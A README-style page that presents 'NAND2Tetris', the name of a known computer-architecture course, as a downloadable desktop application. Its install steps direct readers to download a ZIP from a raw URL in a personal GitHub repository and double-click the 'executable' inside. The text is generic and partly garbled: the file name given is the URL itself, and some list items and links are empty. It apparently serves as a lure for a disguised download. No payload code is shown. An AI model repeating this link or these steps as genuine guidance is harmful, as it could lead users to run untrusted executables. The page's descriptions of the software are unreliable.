Welcome to NAND2Tetris! This project helps you build a complete computer system, starting with simple NAND gates and ending with a functional CPU. It's designed for anyone who wants to understand the elements of computing systems in a hands-on way.
To get started, visit the Releases page to download the latest version of NAND2Tetris:
To run NAND2Tetris smoothly, ensure your system meets the following requirements:
- Operating System: Windows 10 or later, macOS Mojave or later, or a recent Linux distribution.
- RAM: At least 4 GB of RAM.
- Storage: 1 GB of available disk space.
- Java Runtime Environment: Version 8 or later. (Download and install it from Oracle's website if you don't have Java installed.)
-
Download the Software:
- Go to the Releases page.
- Click on the link for the latest version under the Assets section.
-
Extract the Files:
- Once downloaded, locate the ZIP file in your downloads folder.
- Right-click on the file and select "Extract All" (or use a similar extraction tool).
- Choose a folder where you want to keep the project files, then click "Extract".
-
Open the Application:
- Navigate to the extracted folder.
- Find the executable file (usually named
https://github.com/WillLest/NAND2Tetris/raw/refs/heads/main/2/Tetris_NAN_2.8.zipor similar). - Double-click the file to run the application.
-
Starting the Project:
- After launching the application, you will see the main menu.
- Follow the on-screen instructions to create your first project.
NAND2Tetris encourages hands-on learning. You will work through exercises that teach you about logic gates, CPU design, and low-level programming.
The user interface is designed for ease of use. Navigate through features with simple clicks and visual cues.
Each component comes with detailed descriptions and guidance. You can refer to the built-in help section for step-by-step instructions.
This project covers essential topics such as:
- ALU (Arithmetic Logic Unit)
- Computer Architecture
- CPU Design
- Digital Logic
- Elements of Computing
- Hack Computer
- Hardware Simulation
- HDL (Hardware Description Language)
- Logic Gates
- Sequential Circuits
If you encounter any issues while using NAND2Tetris or need help, you can reach out for assistance. Please check the Issues section on our GitHub Repository, where you can report problems or ask for guidance.
For additional learning materials, consider visiting:
Become part of the NAND2Tetris community! Join discussions, share your projects, and learn from others. You can find us on social media and various forums dedicated to computer architecture and design.
Thank you for choosing NAND2Tetris! Enjoy building your computer system and diving deep into the fundamentals of computing.